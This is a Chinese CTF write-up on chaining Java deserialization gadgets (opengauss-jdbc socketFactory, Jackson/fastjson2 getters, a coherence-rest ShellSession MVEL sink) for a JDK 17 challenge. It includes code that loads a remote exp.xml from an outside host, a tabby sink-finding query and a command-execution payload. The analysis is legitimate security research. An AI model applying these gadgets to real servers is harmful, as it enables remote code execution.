环境

依赖如下,原生反序列化入口,jdk版本17,不出网

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-test</artifactId>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.opengauss</groupId>
<artifactId>opengauss-jdbc</artifactId>
<version>2.0.1-compatibility</version>
</dependency>
<dependency>
<groupId>com.oracle.coherence.ce</groupId>
<artifactId>coherence-rest</artifactId>
<version>14.1.1-0-3</version>
</dependency>
<dependency>
<groupId>com.alibaba.fastjson2</groupId>
<artifactId>fastjson2</artifactId>
<version>2.0.37</version>
</dependency>
</dependencies>

jdbc利用

可以观察到本题依赖存在opengauss-jdbc,虽然没见过,但是可以从代码和文档中看到,是用postgre jdbc改的,那么经典的方法就是利用socketFactory来触发String参数构造方法

常见的出网利用方法是ClassPathXmlApplicationContext

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public static void main(String[] args) throws Exception
{
String className = "org.springframework.context.support.ClassPathXmlApplicationContext";
String myargs = "http://192.168.13.1:8000/exp.xml";
Object dataSource = getDataSource(className, myargs);
}
public static Object getDataSource(String className, String myargs) throws Exception
{
Properties properties = new Properties();
properties.setProperty("socketFactory", className);
properties.setProperty("socketFactoryArg", myargs);

PGSimpleDataSource dataSource = new PGSimpleDataSource();
setFieldValue(dataSource, "properties", properties);
dataSource.setUser("test");
dataSource.setPassword("test");
dataSource.setServerName("localhost");
dataSource.setPortNumber(5432);
dataSource.setDatabaseName("test");
return dataSource;
}

那么利用链中间的部分可以暂定为jdbc,接下来需要触发getter,以及寻找sink。

触发toString

jdk17下可以用EventListenerList或者Xstring,或许依赖中还存在别的利用链。

toString2getter

初步看来,可利用的类有

1
2
3
com.fasterxml.jackson.databind.node.BaseJsonNode
com.alibaba.fastjson2.JSONArray
com.huawei.shade.com.alibaba.fastjson.JSONArray

jackson

springboot依赖自带,随便用

fastjson

对于fastjson来讲,2.0.xx的版本是可以的,可以参考com.alibaba.fastjson2.writer.ObjectWriterCreatorASM#createObjectWriter

而com.huawei.shade的JSONArray会被autotype限制

最终sink

最后需要一个构造方法的sink点,这里可以用coherence-rest这个依赖中入手,这是weblogic的经典依赖,存在很多反序列化gadget,我们需要只是一个sink点,并且不用继承serializable

cypher查询语句如下

1
2
3
4
5
6
7
8
9
match (source:Method)
where (source.CLASSNAME starts with "com.tangosol." or source.CLASSNAME starts with "com.oracle.")
and source.NAME = "<init>"
and source.HAS_PARAMETERS = true
and source.PARAMETER_SIZE = 1
and source.SUB_SIGNATURE contains "<init>(java.lang.String)"
match (sink:Method{IS_SINK:true})
call tabby.algo.findPath(source, "-", sink, 8, false) yield path
return path limit 20

ShellSession

其中一条链的入口是com.tangosol.coherence.mvel2.sh.ShellSession#ShellSession(java.lang.String)

执行可以执行mvel

1
ShellSession shellSession = new ShellSession("new java.lang.ProcessBuilder(new java.lang.String[]{\"calc\"}).start()");